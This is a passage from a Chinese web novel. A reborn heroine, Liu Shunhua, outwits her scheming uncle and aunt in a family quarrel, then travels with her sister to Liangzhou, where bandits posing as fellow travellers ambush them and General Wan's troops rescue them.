他咳嗽几声,语气已有几分疏离,“二叔,叔母,若是我没记错,相府并未邀堂妹吧?” 柳仁见他如此,气得摇头,转向柳奉道:“老大这才高升,就摆起款了。自家妹妹不过是想跟着见见世面,人都到门口了,却被他不管不顾地给撵了回来。” 葛氏也跟着道:“萋萋也就是想和兄妹们多亲近亲近,却被这般羞辱,回家后哭得泪人一般。大哥您评评理,这日后,咱们两家还要不要来往?” 平日里,柳奉虽对这个二弟百般忍让, 可却也不糊涂。 他沉声道:“二弟,弟妹,话都让你们说了,能不能先安安静静听听孩子们怎么说。” 柳仁与葛氏互相看了一眼,只能闭嘴。 柳桓安站定,慢条斯理道:“二叔,叔母,萋萋是如何说的,怎么你们就认定我们任由她受羞辱,袖手旁观了呢?” 他根本不往他们设的圈套里钻,反而将话题抛回给他们。 柳舜华忍不住暗自叫好,要说条理清晰,还得是兄长。 葛氏从未与柳桓安打过交道,平日里见他和和气气,便以为是个好对付,没想到他嘴上功夫竟也不弱。 柳仁愣了一下,思忖片刻,缓声道:“萋萋倒也没说什么,只是高高兴兴地去,回来哭得不成样子。我们怎么问,她都不肯说,只说在相府门前丢尽了颜面,再无脸见人了。” 这个二叔,一向喜欢避重就轻,最是个人精。 柳奉早被他们吵得又些不耐,听到此处,笑道:“原来如此,二弟,这其中必定是有误会。我看,你们还是先回去,问清缘由吧。” 葛氏脸色一僵,“大哥,你这是什么意思?是要包庇他们吗?萋萋难道不是他们的妹妹,不管什么缘由,任由妹妹在外受委屈,难不成还有理了。” 柳桓安气极,还未及辩白,又忍不住咳了几声。 这个叔母,今日在父亲面前尚且如此不分青红皂白,素日里还不知怎么苛待舜华与棠华。 他冷声道:“叔母,您这话说得不妥。我们兄妹并非犯了什么大罪,何需父亲包庇?” 柳仁见柳桓安变了脸色,忙道:“你叔母一时心急,说错了话,可她到底是长辈,你如此言辞疾厉,眼里还有没有长辈?” 柳舜华心内不屑,二叔与叔母还真是,不是一家人不进一家门。 每次站不住理,便会拿出长辈的架势来摆谱。 二叔一家,惯会吸血,每次过来闹,无非是想得到些好处。 这次他们东拉西扯,绝口不提此行的目的。 应是想寻个契机,以便顺理成章地提出来。 她冷眼旁观了许久,决定助他们一臂之力,早点结束这场闹剧。 柳桓安极重礼仪,拉不下脸面与二叔对峙,气得他又咳了起来。 柳舜华上前,站在柳仁面前,“二叔,您这么说,实在有失公允。难道不是叔母指责在先,兄长才做辩白。不过辩白几句,便被二叔说得如此不堪。二叔此举,落在外人眼里,才是包庇呢。” 柳仁被小辈驳了面子,脸上有些挂不住:“你……你个黄毛丫头,竟敢当面顶撞你叔父?真是反了天了!” 柳舜华恭敬道:“二叔,您总是这样随意指责,让人看了,难免有闲言碎语,说您没有疼惜晚辈的样子,我可不能让您担这么一个名声,我这分明是在维护您呢。” 柳仁站起身来,神情激动,“大哥,您就这么看着,让几个小辈如此放肆?” 柳舜华望向柳奉,见他面上似有所为难。 说到底,二叔敢在他们柳府如此行事,不过是仗着父亲对他的疼爱。 他毕竟是父亲从小看到大的幼弟,有难以割舍的亲情。 即便这次能顺利解决,难保不会有下次。 柳舜华心一狠,当断则断。今日,她必须要让父亲做个决断。 第26章 第26章夜话 柳舜华扑通一声跪在地上,“二叔,千错万错,都是侄女的错,您莫要逼我父亲。他还在病中,实在经不起您这样折腾。” 柳棠华一见柳舜华跪下,虽不明就里,还是跟着跪了下来。 柳仁傻眼了,他不过是想借机讨点好处,哪曾想两个侄女就这么给他跪下了。如此一来,岂不真坐实了他苛待晚辈的名声。 柳桓安看两个妹妹跪了下去,心内已是恼到极点。 他上前急道:“父亲,蓁蓁她们到底做错了什么,要让她们这么跪着?” 柳奉愈加不满,面上尽量维持平静,他凝眉道:“蓁蓁,芊芊,地上凉,你们快些起来。” 柳舜华起身,对着柳仁道:“二叔,方才我一时口不择言,请二叔莫要与侄女计较。还有,萋萋妹妹之事,的确是我们思虑不周。” 她转头望向葛氏,语气诚恳,“叔母,我们要做些什么,才好让萋萋妹妹不那么伤心难过?” 葛氏素日里拿捏惯了柳舜华,不知她心底的盘算,只当她上套了,当即喜笑颜开,“你们也知道,蔓华与府尹家公子的亲事黄了,这说到底,还是你叔父不争气,官位不高,门第不够。” 她笑道:“大哥,你看老大如今不但深受圣上信任,还被相府邀去参加寿宴,不如让他出面,给你二弟寻个正经的官做做如何?” 柳舜华虽早知叔母德行,也是震惊不已,她还真是敢想。 柳桓安也惊呆了,叔母这是疯了不成,如此无礼的请求,也说得出口。 柳奉脸上愈加难看,他看向柳仁,淡声道:“二弟,这也是你的意思?” 柳舜华幼时最是顽皮,不少惹父亲生气。 她了解父亲,此刻他已是愤怒的边缘,就看二叔能不能将这把火燃起来了。 柳仁在柳奉那里,一向求仁得仁,当即点头道:“大哥,萋萋一连遭受这么些委屈,我看着实在心疼。总不能因为我,耽误了她的大好姻缘吧。再说,我若得了官,咱们同气连枝的,你面上也有光不是。” 柳奉再忍不下去,一掌拍在桌上,杯盏晃动叮当作响。 “一派胡言。柳仁,这话你也说得出口。你的女儿是女儿,我的儿子便不是儿子?你竟要为你女儿的姻缘,去毁我儿前程?” 柳仁头一回见柳奉发这么大火,愣了片刻,慌忙道:“大哥误会了,我一向对大哥恭敬,对老大怜爱,我这么做,都是为了咱们柳家,怎么会断送老大的前途呢?” 柳奉懒得再与他周旋,冷笑一声,“为了柳家?这些年,你为了柳家做了什么?” 柳仁下意识想要反驳,可嘴一张开,却发现根本无话可说。 柳奉揉着头,“你口口声声说对老大怜爱,可自打老大进屋,脸色苍白,咳个不停。你作为叔父,只一味责怪于他,可曾关心过他一句。” 他满脸失望,“我今日身体欠佳,已是强撑着起来,蓁蓁方才亦提醒过你,我尚在病中,你……” 柳仁并非没心,当即羞愧得低下头。 柳奉叹了一口气,狠下心来,“还有,方才我一直不好说,总觉得说了,显得有失偏颇,又伤了咱们兄弟的情分。既然话都说到这个份上,索性一起说了吧。” “你家萋萋是个金贵的,可蓁蓁与芊芊,也是自幼被我捧在手心。两个小丫头一时说错了话,你一个做叔父的,竟逼得她们下跪。二弟,你将我这个做父亲的置于何地啊?” “幼时父母身体有损,人道长兄如父,我便担着照看你的责任。我亲自喂养你,读书习字都带着你。成年后,我外放为官,心中挂念着你,担心你吃不好睡不好,每隔一段时日便休书一封于你,连同我那些俸禄兑换的钱财,全都供你读书之用。这些年,我处处以你为先,事事为你着想,何曾亏待过你。” “二弟啊,我做这些,从不曾希望得到什么回报。可你,怎么就是不知足呢?” 柳奉越说越伤心,越说越失望,将这些年压的心头的委屈全倒了出来。说到最后,已是潸然泪下。 柳仁本就羞愤难当,又见兄长说到痛处流下泪来,不顾葛氏在旁眼神暗示,捂脸道:“兄长,别说了。我错了,都是我的错,是我让兄长失望了。” 柳奉拖着病体,早已精疲力竭,他缓缓闭上双目,“二弟,我累了,要歇下了。你也,请回吧。” 说罢,他踉 跄起身,脚步虚浮,柳桓安兄妹上前,扶着他出了正厅。 一场闹剧落幕,柳仁与葛氏第一次从柳府空手而归。 送完父亲回房,又与柳棠华煮了姜汤端给兄长,柳舜华才得以喘口气。 柳棠华尚有些兴奋,赖在柳舜华屋里不肯走。 “姐姐,今日真是痛快。我原本还以为,父亲要怪罪我们呢,没想到,父亲竟会同叔父说那样的话。” 她越说越激动,“苍天有眼,总算让父亲看到了他们的嘴脸。以后,我再不担心她们过来抢我的东西了。” 柳舜华摸了摸膝盖,这一跪,跪得值了。 柳棠华沉默了片刻,抬头道:“姐姐,你是故意跪下的吗?” 柳舜华看向柳棠华,清澈的眼神中夹杂些许懵懂。 她揉了揉棠华的头:“你都看出来了,看来这些日子长进了不少。” 柳棠华听到柳舜华夸赞,乐不可支,“其实一开始跟着跪下的时候,我也有些疑惑,怎么姐姐前些日子将叔母杀得片甲不留,今日这么容易就下跪认输。后来,看到他们一时得意露出真面目,我才明白,姐姐这是引他们入局。” 柳舜华笑道:“你这都是从哪里学来的词,打打杀杀的。” 柳棠华仰起头,“我听说书的说的啊,高祖起义的故事。高祖出身草莽,生性豁达,胸怀大志。时值前朝苛政致中原疲敝,百姓流离失所,高祖聚众而反。初时,高祖实力尚不足,暂居一隅,暗中积蓄势力,待时机成熟,一举攻破长安,杀昏君,夺天下。” 柳舜华笑道:“听书能听出门道,你倒是机灵。你说说,这次你都看出了什么?” 柳棠华想了想,“我也是在父亲发怒后,才想明白的。若是放在平日里,二叔与叔母瞅准时机,直接说出那些话,或许父亲顶多驳斥他几句了事。可今日,他们选的时机却不对。而这个时机,似乎是姐姐引导的。” 柳舜华有心点她,缓缓道:“有时候,谦卑反致祸,只会让对方变本加厉地索取;可有时候,若一味冒进,非但达不到自己想要的结果,反会适得其反。暂退一步,因势利导,反占先机。” 柳棠华好像有些明白了,“姐姐,我好像懂了。就像相府门前,贺二公子直截了当,轻而易举地让萋萋妹妹不敢再纠缠;方才厅内,姐姐以退为进,顺利摆脱了二叔他们的无理取闹。” 听到柳棠华提到贺玄度,柳舜华心下一动,不觉笑了,“你说得没错,差不多是这个意思。你可要记住,日后万不可被人欺负了去。” 柳棠华抱住柳舜华的手臂,“有姐姐在,谁能欺负我。” 柳舜华垂头看着她,沉默半晌,问道:“棠华,若是有朝一日,你能过人上人的生活,但要舍弃如今的安逸,你愿意吗?” 柳棠华仔细想了一下:“人上人,像那个贺小姐一样吗?” 柳舜华:“差不多吧。” 柳棠华摇摇头,“我不喜欢,相府虽然轩峻壮丽,但这也不能吃,那也不能吃,规矩太多,无趣得很。” 她甜甜一笑,“我觉得像现在这样,有兄长与姐姐陪着,就是最好的。” 十五岁的棠华,还没有身为皇后的端庄沉静,稚嫩的脸上带着几分娇憨,眉眼格外灿烂,宛似院中精心呵护的山茶花。 她多想,棠华能一直这么无忧无虑。 上辈子,人人都说他们柳家烧了高香,生了两个女儿,一个是皇后,一个是相府长媳。 可前世,她和棠华都未能善终。 她被束缚在相府,度日如年,最终自焚而亡。 而棠华,也自有她的苦处。 新帝登基,棠华被册立为后。为替毫无根基的新帝拉拢可用之人,棠华尽其所能与朝中贵妇周旋,呕心沥血。两年后因生产不顺,便早早撒手人寰。 棠华在时,新帝对她百般宠爱不假,可她去世不足三月,新帝一见贺容暄,便惊为天人,当即将亡妻忘得干干净净,火速册立贺容暄为后,唯恐冷落佳人。 棠华为新帝熬干了自己,却是这个下场。 柳舜华替妹妹不值。 她本是天真娇憨的女孩儿,却在权力倾轧中不得不收了心性,与后宫嫔妃,朝中权贵争来斗去。她想,若是棠华嫁与普通人家,是不是会快乐些。 柳舜华轻轻摸着柳棠华的头,这辈子,她定会竭力避开棠华与新帝刘九生的相遇。 …… 立夏后,桐花繁茂到极致,大朵大朵紫色的花沉甸甸开在枝头,极尽春日最后的绚烂。 柳棠华捡了许多掉落的桐花堆在廊下,柳舜华闲来无事,一边串着花串打发时间。 花串还未串完,芳草便气冲冲走了进来。 “小姐还有闲心串花呢,简直气死人了。” 柳舜华边串边问:“什么事这么生气?” 芳草忿忿道:“还不是葛氏,原以为她消停了点,没想到憋着坏呢。” 柳棠华不解,“这几日未见叔母过来啊?” 芳草四下瞅了一眼,这才低声道:“方才我碰到了隔壁院的一个姐妹,她同我说,昨日她们那里来了一位贵人,悄悄向葛氏打听小姐你。” 柳舜华一愣,“打听我?” 芳草点头,“正是。我那小姐妹说,那妇人看起来非富即贵,张口便问小姐你年龄性情。” 柳舜华骤然紧张起来,这个时候来打听她,还问年龄性情,多半是有求亲之意。若她猜得不错,这个人多半是丞相府的人。 芳草兀自生着闷气,“葛氏对着来人,竟说小姐你牙尖嘴利,不知尊卑,行为粗鄙。总之,将小姐贬个一文不值,你说气不气人。” “哦。”柳舜华微微挑眉,“那可真是太好了。” 有叔母这般说辞,再加上贺容暄对她的敌意,丞相夫人对她就算不死心,恐怕也会多掂量掂量。 芳草看着柳舜华,“小姐,你是气傻了吧,葛氏如此诋毁你,你还说好?” 柳舜华一笑,将最后一朵桐花穿起,“不管来人是谁,能打听到叔母那里,必然同她关系密切,都是一丘之貉,管他作甚。” 虽是这么说,可她清楚,丞相夫人能暗自打听,必是得到贺丞相的默许。贺留善之所以看重她,无非就是因为兄长。 诸侯接待事宜,鸿胪寺办得极为妥帖,皇上对兄长愈加看重,近日更是频频召见。皇上欲培养兄长之心,贺丞相必然已知晓,断然不会轻易放弃拉拢。 总之,贺玄晖一日不成亲,丞相府便有可能再将主意打到她头上。如今这个节骨眼上,她要想办法避避风头才行。 柳舜华正想着,便看到柳桓安手里握着一封信,大步跨了进来。 柳桓安举着信,笑道:“舅舅来的信。” 柳舜华起身,迫不及待问道:“信上都说了什么?” 柳桓安将信递过去,“大约是外祖念咱们念得紧,舅舅这才来信询问,让咱们若是得空,别忘了回凉州一趟。” 柳舜华将信展开,仔仔细细看了个遍,心内百感交集。 前世,自离开凉州来到长安,她便再也没有回去过。 接到这封信的时候,柳府正忙着筹备她与贺玄晖的婚事。 距她的婚礼尚不足四个月,她只得让兄长回信,告知外祖大婚在即,脱不开身。 后来嫁进相府,回家尚且不便。凉州,哪里又回得去呢。 柳舜华攥紧手中的信,“兄长,我要回凉州。” 第27章 第27章她看不清他的脸 四月初,雨后新霁,迎着一路的桐花,柳舜华出发了。 兄长本想一同前往,奈何事务烦身,只得作罢。 出了长安城,一路山花烂漫,田间芸薹花金黄一片, 微风轻拂,吹起层层金浪,浓郁的花香飘散一路,引来蜜蜂嗡嗡忙碌。 柳棠华趴在窗口,看得入神。 此次凉州之行,柳舜华特意带了柳棠华出来。 据上辈子棠华的自述,她与刘九生相识于元始六年四月,那刘九生此时应在长安。 此去凉州,归来怎么也要五月,如此一来,棠华定能避开他。 “姐姐,凉州是什么样子的,还有,外祖他们会不会不喜欢我啊?” 柳棠华第一次出远门,激动之余,又有些忐忑。 柳舜华嘴角含笑:“凉州啊,有望不到头的高山,青翠苍茂的草原,遍地的牛羊在山野间奔走。有茫茫的大漠,夜里漫天的星光,亮晶晶的。有胡人弹着琵琶,舞姬跳着异域舞。若是赶上炎夏,还有甜甜的葡萄和瓜果吃。” “至于外祖他们,你更不用担心。你是我妹妹,他们会像待我一样待你。” 马车走走停停,颠簸了几日,柳棠华早已没了出行的兴致,到了客栈倒头便睡。柳舜华安排好车夫,整理了行囊,才回房。 客栈临近金城津,夜间风声呼啸,水声涛涛。 柳舜华躺在简陋的木床上,听着风拍打着窗子的声音,难以入眠。 上辈子她一直想做的事,就是逃离相府,离开长安,投赴山海。而今她真正做到了,却又有种不切实际的虚无感。 风突然吹熄了烛火,房内顿时陷入一片黑暗。一瞬间,她感受到前所未有的恐慌,有种前路未知的莫名恐惧。 柳棠华翻了个身,嘴里说着梦话,“姐姐,到了叫我。” 柳舜华突然笑了,近乡情怯,她大约是太紧张了吧。 天光穿破云层,黑暗潮水般退却,四周一下热闹起来。 柳舜华被叫闹声吵醒,拍醒柳棠华一起下楼吃早饭。 两人起得有些晚,到楼下时,只余寥寥几人。 店家得闲,仔细打量了一下,看她们两人皆是女子,身边并无随行男子,问道:“两位小姐,这是要去往何处啊?” 柳棠华心无城府,爽快道:“我们去凉州探亲,听说那里可美了。” 店家眉头一皱,提醒道:“凉州?我劝两位小姐还是再等等吧,祁连山一带最近在闹贼匪,好多个过往商队都被劫了。” “如今是太平盛世,怎么会有贼匪,官府就不管吗?”柳舜华不解。 店家道:“这伙贼匪不知道是从哪里突然冒出来的,手段凶残,不但劫财还伤人呢。官府在山间四处搜寻了多日,并不见踪影,也就作罢了。现下正是风口上,我看两位小姐还是等些时日再去不迟。” 柳棠华有些害怕,“姐姐,怎么办?” 柳舜华也有些踌躇,她也是头一回碰到这样的事,一时难以抉择。 “店家怕是不知道吧,祁连山下的贼匪前些日子就被抓了。” 一个妇人站起身,不住走动着哄着怀中啼哭的小娃娃。 店家有些不信,“什么时候的事?” 一旁妇人的丈夫笑了两声,“就是三日前,万都尉亲自带人抓的。” 听到万都尉,店家立即笑道:“原来如此,万都尉出手,自然是稳妥的。” 柳舜华眸光一闪,贺玄度外祖家正好也姓万。 贺玄度外祖,前太常卿万慈,出身凉州。先皇崩逝后,他便以年迈为由,远离京城,携家返回凉州。 也不知这个万都尉,与贺玄度有无关系。 那汉子大笑道:“就算没被抓,其实也不怕的,这批贼匪专劫商队,尤其是过往胡商,像我们这种赶路探亲的,只怕也入不了他们的眼呢。” 店家却不赞同,“小心驶得万年船,还是稳妥些好。” 柳棠华听到他们也去探亲,搭话道:“大嫂,你们去哪里探亲?” 妇人笑道:“去凉州,带着孩子去见见他外祖。” 柳棠华大喜:“这么巧,我们也是去凉州看望外祖。” 柳舜华初时尚有几分戒备,听到他们也是带孩子去看外祖,不由朝妇人怀中的小娃娃望去。 尚在襁褓中的小婴儿,生得虽弱,一双大眼骨碌碌地转,睫毛扑闪着,十分惹人怜爱。 待用过早饭,两人上楼收拾行囊,准备继续前行。 柳棠华嘀咕道:“真是人心难测,方才险些被店家骗了,不然又要留宿一晚,多付一晚房钱。” 柳舜华也早就迫不及待,催促道:“快些收拾吧。” 二人下了楼,车夫赶了马车过来,柳舜华与柳棠华方准备上车,就见不远处一辆牛车驶来。 赶车的是客栈里的那个汉子,车上坐的正是抱孩子的妇人。 柳舜华对他们点头示意。 柳棠华冲着他们挥了挥手,“大嫂,咱们同去凉州,正好可以作伴呢。” 抱孩子的妇人笑道:“正是呢,人多热闹,一路上也不闷。” 过了金城关,前面便是凉州城,约摸五六个时辰便能抵达。 柳棠华一路上叽叽喳喳,让那妇人给她讲些乡野趣事。吵吵闹闹着,已行了一半路程。 日头渐渐西斜,车夫看了看天色,忍不住低声提醒道:“小姐,那辆牛车太慢,咱们若是想要在天黑前进城,要加快一些才行,不然恐怕要露宿一晚了。” 柳舜华不想一路太过招摇,此次随行并未带家仆。兄长便亲自去了车行,挑选了个年富力强又经验老到的车夫。 柳舜华想了想,决定听车夫的话,进城要紧。 她对着两夫妇道:“大哥,大姐,我们还有些事,恐怕要先行一步了。” 两夫妇相视一望,那汉子脸上露出窘迫来,“我们牛车的确慢了些,若是想要早些进城,是要再加快些才行。” 柳棠华依依不舍与他们道别,顿觉无聊,收回探了一路的小脑袋,老老实实地坐着。 马车行得快了起来,风吹着帘子猎猎作响。 柳舜华方想靠着车壁打个盹,便听到风里传来一阵婴儿的啼哭声。 她自幼耳聪目明,听声音格外清晰一些。 荒山野岭,哪里来的婴儿哭声? 柳舜华心下好奇,撩开车帘往后一望,只见方才那辆牛车已经渐渐追了上来。 她稍一琢磨,顿觉不妙,对着车夫急道:“大哥,快些,不要让后面的牛车追上。” 车夫走南闯北,尽管不知她因何慌张,但听到牛车,还是觉出一丝不对。 他抓紧缰绳,“小姐坐稳些。” 马蹄飞快踏过山路,声声似鼓,催人心慌。 柳舜华抓紧车壁,从车窗缝隙中向外望去。 漫天尘土散尽,她看到后面的牛车依旧穷追不舍。 柳棠华见她神色慌张,也跟着惴惴不安,“姐姐,出什么事了?” 柳舜华稳住神色,沉声道:“那对夫妇有问题。” 柳棠华也看到了,他们正在拼命赶车。 “姐姐是不是误会了,也许他们只是想快些进城。” 柳舜华摇头,“他们看起来对这一带极为熟悉,可却在车夫提醒要加紧进城时,才慌张赶路,好似之前没想过要露宿一样。” 柳棠华仔细一想,确是如此,他们一路上都不慌不忙,没理由在车夫提醒后才这么拼命赶车。 他们如此拼命,倒像是……要追上她们。 “方才我便隐隐觉得有些不对,他们驾的牛车也太慢了些,似乎有意拖着咱们。只不过那大姐抱着孩子,我以为他是有所顾忌,想行得平稳些,才没往深处想。可你看如今,他这一路颠簸,孩子大哭不止,他却不管不顾,依旧拼命赶车。” 柳棠华颤声道:“他们不会是贼匪吧?” 柳舜华神情紧张,“难说,只盼咱们能快些甩开他们。” 柳棠华垂头丧气,“今早那店家好心提醒了的,我当时还疑心他是要哄骗咱们留宿,却不知上了贼人的当,枉顾了他的好心。” 柳舜华安慰道:“你也不必懊恼,咱们第一次出门,哪里知道这些门道。他们的牛车笨重,未必能追上咱们。” 好在车夫有经验,一路跑得飞快,转了个弯,进入窄道时,暂时将他们甩开。 两人松了一口气,总算是有惊无险。 突听林风飒飒,草木沙沙作响,一队人马从山坡之间俯冲了下来,将他们团团围住。 柳棠华早吓得说不出话来,抓住衣襟不停颤抖。 混乱的嬉笑声传来,脚步纷杂,四周乱糟糟一片。 柳舜华壮着胆子从缝隙中向外望去,对方约有几十余人,瞧着都是壮年。 为首的看着有二十五六岁,手里提着一把长刀,一双眼瞧着分外精干,倒没有想象中凶神恶煞的样子。 车夫见多识广,很快镇定下来,高喊道:“你们是何人?想做什么?” 为首的男子一把将刀扛在肩上,啐了一口,“你说是什么人,自然是打劫的。” 车夫试着用行话问,“敢问兄弟们,吃的是哪口饭?” “吃你娘的饭,都给老子滚下来!”粗犷的男声吼了起来。 车夫低声道:“小姐,他们不是道上的。” 话音方落,一把刀便架在他的脖颈上,“废什么话,再不下来,要你们的命。” 柳棠华脸色煞白,浑身僵硬,一动也不敢动。 柳舜华强自撑起身子,“棠华,别怕,先下去。他们应是劫财,东西都给他们便是。” 车门推开,柳舜华扶着已经瘫软的柳棠华下了马车。 她们一下马车,便见后面的牛车紧追了上来。 那汉子勒停牛车,从上面跳了下来,一改此前憨厚的模样,对着为首之人道:“幸亏我早有准备,点燃狼烟为信,不然差点就让肥羊跑了。” 为首的男子大笑道:“还是大哥有想法,这次够咱们吃一阵子了。” 马车旁立着的几人钻进车内,很快将车内几箱物品抬了下来。 柳棠华恨恨地盯着那对夫妇,一脸委屈,眼眶里的泪打着转。 那妇人心虚,转过头去,不敢再看她。 柳舜华深吸一口气,稳下心神,逼着自己冷静下来。 今早客栈内,店家曾说过,靠近祁连山的那拨贼匪手段凶残。车夫方才也说过,这伙人不是道上的。 看样子他们确实是只谋财,暂时没有伤人的打算。 一伙人将箱子抬到牛车上,问道:“三哥,这三个怎么办?” 为首的摸了摸脑袋,“他娘的,你们说怎么办?” 那妇人转过头,抱着孩子低声道:“三弟,咱们只图财,就放了她们吧。” 驾牛车的汉子将她拉到一边,“男人们做事,有你什么话。” 为首的男人犹豫了一下,转头看向两人。 一个似娇花,一个似嫩柳,水灵灵的两个美人,他平生都未见过这么好看的女子。 下面的人看出了他的心思,哄笑道:“三哥不是还未娶亲,不如一起掳了去,给我们当嫂子算了。” 柳棠华一听,吓得浑身发抖,更加站立不住。 柳舜华闻言,也是心跳如擂。 这些人即便不是贼匪,也是常年居住深山之间,若真是被掳了去,只怕再想逃出来就难了。 她抬头望着为首之人,努力让自己看起来很平静,“我们姐妹是去凉州探亲的,已经去信给到外祖说今日必到。若我们出事,外祖必定报官。你们可想清楚了,劫财就算被抓也罪不至死,可强抢民女,是要被腰斩的。” 少女虽因害怕微微颤抖,却字字铿锵,落地有声。 蠢蠢欲动的一群人顿时安静下来,一个个面面相觑。 有人问:“三哥,怎么办,放了?” 为首之人突然将扛在肩上的刀放了下来,双手按在刀柄上,饶有兴致地打量着柳舜华,“不,我决定了,我要娶她。” 柳舜华瞪大双眼,有些发懵。 说罢,他直直走向柳舜华,垂头认真道:“我瞧着你挺不错,跟了我吧。若你跟了我,我保证一辈子只对你好。” 柳舜华仓惶后退两步,抓紧藏在袖中的短刀。 她满脑子只有一个念头,绝对不能跟他走。 为首之人紧盯着她,就像猛兽看着自己的猎物,步步逼近。 “唰”的一声,长箭破空,势不可挡,生生刺穿了为首之人的手臂。 鲜血四溅。 柳舜华浑身僵直,呆愣地望着箭矢的方向。 对面上坡之上,不知何时站了一人。 那人身穿金甲,黑色披风翻飞,戴着铁面具的脸上泛着幽冷的光,依然维持着射箭的姿势。 山风在耳边呼啸,山顶白云流转,无边的晚霞倾泻而下,柳舜华静静地望着那人。 她看不清他的脸。 第28章 第28章她好像看到了贺玄度 下一刻,山坡上的官兵纷纷冲了下来,兵器碰撞之声四起,嘶吼声不断。 柳舜华收回目光,忙拉着柳棠华躲在车后。 两人紧紧贴在一起,一动也不敢动,兵器的寒光映着落日,不时晃在眼前,空中血腥味越来越浓重。 不知过了多久,厮杀声渐弱,哒哒的马蹄声逐渐逼近。 柳舜华抬头仰望,只见马上坐着个身穿甲胄的将军,三十余岁的年纪,身躯凛凛,一双眼目射寒星,如山间雄狮,威压逼人。 “你们没事吧?”开口却是与装扮十分违和的温言。 柳舜华扶着马车起身,施礼道:“无事,多谢将军相救。” 这时有人匆匆来报:“万都尉,贼人已全部擒获,共计三十二人。” 柳舜华闻言,猛地抬眸,这位将军便是万都尉。 柳棠华喜极而泣,“您就是万都尉,太好了,真是太好了。” 万都尉一张满是风沙的脸上堆笑,俯身问道:“怎么,你这个小丫头也知道我?” 柳棠华点头道:“我们在客栈内,听到过您的威名,说您威风凛凛,战无不胜,是个顶天立地的大英雄。” “哈哈哈哈……” 万都尉还是头一回被一个小姑娘当面拍马屁,听得心花怒放,忍不住仰天大笑。 众将士也跟着笑了起来。 柳棠华不好意思地挠挠头,她虽说得有些夸张了些,可都是肺腑之言。方才若不是万太尉的人及时赶到,她们指不定被掳到哪里去呢。 万都尉指着牛车上的箱子,“这些可是你们的财物?” 柳舜华点头称是。 万都尉当即命人将几个箱子抬回到马车内。 此时天色渐暗,最后一抹斜阳也已西沉。 虽已剿灭了贼人,可柳舜华依旧心有余悸,且不说前路会不会再有贼匪,便是行得再快也需两个时辰,无论如何也赶不上城门关闭了。 万都尉看出她的忧虑,翻身下马,将缰绳丢给身边的将士。 “这个时辰只怕不宜赶路,若是两位小姐不弃,不妨就随着我们将就一晚如何?” 柳棠华像是生怕柳舜华不答应,抢先道:“不嫌弃不嫌弃,万都尉肯收留,我们求之不得。” 万都尉笑了一下,“两位小姐请随意。” 柳棠华跟在万都尉身侧,笑道:“万都尉,我们姓柳,是长安来的。你可以叫我芊芊,那个是我姐姐,你可以叫她蓁蓁。” 柳舜华一把拉过她,低声道:“芊芊,万都尉事务繁忙,你莫要打扰。” 万都尉朝着她们点头致意,转身朝着那伙被抓的贼人走去。 柳棠华望着万都尉高大魁梧的背影,尤不忘感慨道:“大英雄当如是啊!” 众将士很快收拾好了残局,柳舜华同柳棠华上了马车,跟着将士们又行了一段,在一处开阔平缓之地驻扎下来。 夜幕降临,篝火燃起。 将士们支起了锅准备开始煮饭,柳棠华忙跑了过去,一会帮着去淘洗,一会帮着去生火。军中多是粗人,哪里见过这么娇俏的小姑娘,看着小姑娘忙前忙后,丝毫不介意这些粗活,一个个暗自生喜,不由悄悄偷看几眼。 柳舜华扫了一圈,并未瞧见方才山顶上那个 戴面具的人。 看万都尉正在篝火旁,她犹豫片刻,走上前去行了礼,“万都尉,适才有个戴面具的,怎么没瞧见?” 万都尉拨弄着篝火,“他啊,不在,被我调去别的地方了。” 柳舜华沉默片刻,瞧着远处被关在一处的贼人,缓缓道:“万都尉,这伙人应不是贼匪。” 万都尉来了兴致,“你怎么知道?” 柳舜华笑了笑:“万都尉能及时赶到,应是看到了狼烟吧?” 万都尉眉头一挑,“是你燃的?” 柳舜华摇头,“那倒不是,是那伙贼人点的。在客栈时,我听店家说过,那伙贼匪手段凶残,行事狡猾。”她又望了望缩在一起的那些人,“可他们做事,顾头不顾尾,完全没个章法,不像是训练有术的样子。若他们是贼匪,只怕官府也不会求助于您。” 万都尉眼中颇带欣赏,“你一个小姑娘,懂得倒是不少。你放心,贼匪滋扰百姓,我们定不会胡乱找些替罪羊草草了事。” 柳舜华忙道:“万都尉误会了,我不是这个意思。您威名远扬,坦荡磊落,无人不知。只是贼人中有个幼儿,尚在哺乳中,着实有些可怜……” 万都尉点点头,“怜惜弱小乃人之常情,那名妇人,我们会酌情处理。” 篝火熊熊燃烧,火焰升腾。 柳舜华咬了咬唇,思索要如何开口,询问他是否认识贺玄度。 万都尉隔着篝火,打量着她,小姑娘貌美心善、秀外慧中,谁若是娶了她,那可真是有福气。 他问:“柳小姐来自长安,怎么会孤身到凉州去?” 柳舜华如实道:“我外祖家在凉州,一别多年,实在挂念,便想着过来看看他老人家。” 万都尉点头,“柳小姐孝心可鉴,一介女子,敢孤身奔赴凉州,实属难得。” “姐姐,吃饭了。” 柳舜华不好再问,起身拜别。 柳棠华端了一碗穈粥过来,“姐姐,你饿坏了吧,我自己做的你尝尝。” 柳舜华接过粥,喝了几口,粗糙的口感自然比不上家里的饭食,不过劫后重生,能吃上一口热粥,已是难得。 柳棠华又殷勤地端了穈粥给万都尉,温言提醒他小心烫着。 万都尉家中没有女儿,又常年在军中,突然被一个小姑娘如此细心照料,一副受宠若惊的模样。 等众人都喝上了,柳棠华才端了碗,坐在地上,拉着方才一起烧火的将士,让他接着讲上阵杀敌的故事。 柳舜华看着人群中棠华的笑脸,心下安定不少。 一阵婴儿哭声传来,柳舜华看了看手里的穈粥,起身走了过去。 方才那伙贼人都被缚住手臂蹲在地上,独抱着孩子的妇人瘫坐在一旁,手忙脚乱地哄着哭闹的婴儿。 柳舜华对着两个看守的将士道:“小娃娃闹得厉害,想是饿了,能不能将我这碗粥给到他?” 两个将士互相看了一眼,“小姐勿怪,此事我们做不了主,需都尉首肯。” “无妨,放柳小姐进去。” 柳舜华循声回头,只见一人朝她走来过来。 来人身材高大,眉眼端正,颇有几分书卷气,在军中实属难得一见。 两个将士立即问好:“曹护军。” 曹护军挥了挥手,两名将士站到一旁,给柳舜华让出路。 柳舜华点头致谢,走到妇人身边,弯下腰去,“大姐,给孩子吃点东西吧。” 妇人抬头,见是柳舜华,羞愧地接过穈粥,慢慢地喂给怀中的婴儿。 柳舜华温声道:“大姐也喝点吧,不然……” 身边都是男人,她实在不好说出,不喝没有奶水这样的话。 那妇人点点头,待婴儿喝足了,才将剩余小半碗喝了干净。 柳舜华收了碗,转身欲走,却见那妇人跪在地上,不住泣道:“此前是我对不住小姐,我死不足惜,请小姐受我一拜,只盼着小姐日后能平安顺遂。” 